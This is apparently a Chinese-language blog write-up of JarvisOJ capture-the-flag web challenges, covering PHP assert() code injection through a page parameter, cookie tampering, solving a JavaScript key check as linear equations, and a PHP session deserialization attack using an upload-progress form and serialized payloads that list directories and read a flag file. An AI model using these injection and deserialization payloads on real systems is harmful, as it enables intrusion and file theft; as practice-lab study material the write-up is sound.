zoukankan      html  css  js  c++  java
  • jarvisoj web write-up

    写在前面:自己再理顺一遍思路,回头复习时看看自己还懂不懂这个知识点

    babyphp

    about页面,有PHP,GIT和Bootstrap,联想到会不会GIT源码泄露,用githack操作,python2 GitHack xxxxx/.git/,得到源码

    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    $file = "templates/" . $page . ".php";
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    assert("file_exists('$file')") or die("That file doesn't exist!");
    

    从源码可知
    1、file的名字被重新命名了,变成了templates/xxx.php
    2、get一个page
    3、我们这里是利用assert函数来执行我们想要执行的内容

    查看这几个函数的含义:
    assert:“断言”,程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作。又一个很重要的点,就是,如果中间的内容是一串字符串,那么它将会被 assert() 当做 php 代码来执行。跟eval()类似, 不过eval()只是执行符合php编码规范的代码。

    strpos(),查找字符串出现第几个,我暂时判断这是干扰项

    file_exists,file_exists() 函数检查文件或目录是否存在。如果指定的文件或目录存在则返回 true,否则返回 false。

    那这里,我们就可以从断言入手,闭合函数,插入我们想执行的代码。
    payload如下?page='.system("ls templates/;").'
    带到整句话就是

    file_exists(' "templates/" '.system("ls templates/;").' ".php"')
    
    system("ls templates/;")
    

    这一串字符串就被执行了,看到回显有flag.php

    那用cat命令把里面的内容调出来

    system("cat templates/flag.php;")
    

    看源代码里面就有flag了。

    总结:
    代码注入,assert() 断言的使用。

    admin

    这题比较简单

    扫描后台找到一个robot.txt 进入发现一个admin.php,进去抓包,把cookie的admin=0改为1就可以

    web?(QWB)

    看到这个先提交几个弱密码,然后抓包看内容,发现没有什么异常的,然后看源代码。
    在这里插入图片描述
    源代码中有两个比较可疑的JavaScript,第一个比较长,看上去就像一些说明,我们看第二个,重点也在第二个。

    复制粘贴到Notepad,格式化一下,然后先保存为js格式看的会舒服一些.关键字搜索flag,key,或者原有页面的post。flag有4个,key有很多,post有几个。

    在这里插入图片描述
    观察发现,这里有个checkpass,发现点东西,那就继续跟着这里的关键词去搜索
    在这里插入图片描述
    在这里插入图片描述
    我们看到这个函数对应的值,就是我们想要的key了,那这个函数是什么呢
    在这里插入图片描述
    我们可以看到有一个25维数组和一个一维数组。
    for循环是相等,那我们看到的是一个25元一次方程组,这用矩阵可以解。
    那怎么解呢。。。。。。

    用云算网,我把数据整理了很久终于解出来了
    在这里插入图片描述
    看数据挺像ASCII码的,丢python转一下

    arr=[81,87,66,123,82,51,97,99,55,95,49,115,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
    flag=''
    for a in arr:
    
        flag=flag+chr(int(a))
    print(flag)
    

    得到flag
    QWB{R3ac7_1s_1s_interesting}

    PHPinfo

    进去,看到注释a webshell,扫描后台,发现有一个phpinfo。
    这题很难,参考各路大神的wp,现在都不是很看的懂,遇到类似的题多半也得凉凉。

    <?php
    //A webshell is wait for you
    ini_set('session.serialize_handler', 'php');
    session_start();
    class OowoO
    {
        public $mdzz;
        function __construct()
        {
            $this->mdzz = 'phpinfo();';
        }
        
        function __destruct()
        {
            eval($this->mdzz);
        }
    }
    if(isset($_GET['phpinfo']))
    {
        $m = new OowoO();
    }
    else
    {
        highlight_string(file_get_contents('index.php'));
    }
    ?>
    

    1、有个session.serialize_handler。先不管,我们继续往后看。
    session_start(),初始化session,感觉的到这题和session有关的序列化问题。
    2、后面就是比较常见的一个注入点和一个构造函数和析构函数的序列化问题

    这个时候,去提供的提示,session.serialize_handler去webshell里面看看是什么东西。
    在这里插入图片描述
    搜!
    关于php的session.serialize_handler的问题
    看到里面有句话很眼熟,我们看到前面代码的,

    使用过程中如果想要修改,使用

    ini_set('session.serialize_handler','php_serialize');

    ini_set('session.serialize_handler', 'php');
    

    由phpinfo()页面继续可知,session.upload_progress.enabled为On。

    在这里插入图片描述

    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

    然后就自己写一个JS,Post数据名为PHP_SESSION_UPLOAD_PROGRESS.,值是我们所需要的利用反序列化漏洞的内容,然后开头的seesion_start,就利用上了。

    <!DOCTYPE html>
    <html>
    <head>
    	<title></title>
    	<meta charset="utf-8">
    </head>
    <body>
    	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!-- 	
    不对字符编码-->
    	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    	    <input type="file" name="file" />
    	    <input type="submit" value="go" />
    	</form>
    </body>
    </html>
    
    

    大佬wp说这里要注意enctype属性,不能对字符进行编码。
    保存为html用浏览器打开,抓包。
    在这里插入图片描述
    之后,我们将filename改为我们要执行的操作,

    
    <?php
    class OowoO
    {
        public $mdzz='print_r(scandir(dirname(__FILE__)));';
    }
    $obj = new OowoO();
    $a = serialize($obj);
     
    echo $a;
    #O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
    ?>
    

    更改以后没反应,大佬说是引号被转义了,那就在每个引号之前要加
    即|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
    这个地方有两个不懂记录一下
    1、第一个的|是干嘛的
    2、哪个地方将双引号转义了?
    如果有大佬能教教我就最好了。
    看到一个Here_1s_7he_fl4g_buT_You_Cannot_see.php

    再改一下操作
    在这里插入图片描述
    print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

    
    <?php
    class OowoO
    {
        public $mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
    }
    $obj = new OowoO();
    $a = serialize($obj);
     
    echo $a
    ?>
    

    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    RPC 调用简述
    bootstrap tab切换无效的一种情况
    html块元素和内联元素介绍
    重装系统后,Linux虚拟机无法联网
    datatables.js表头挤在一列的解决办法
    &nbsp; &ensp; &emsp; &thinsp;&zwnj;&zwj; 6种空白空格的区别
    pagination.js通过ajax请求获取数据
    谷歌浏览器调制,控制面板各命令总结
    点击表格弹窗获取另外一套数据之后,原表格相关数据的调用
    datatable columns与columnDefs
  • 原文地址:https://www.cnblogs.com/vstar-o/p/12616217.html
Copyright © 2011-2022 走看看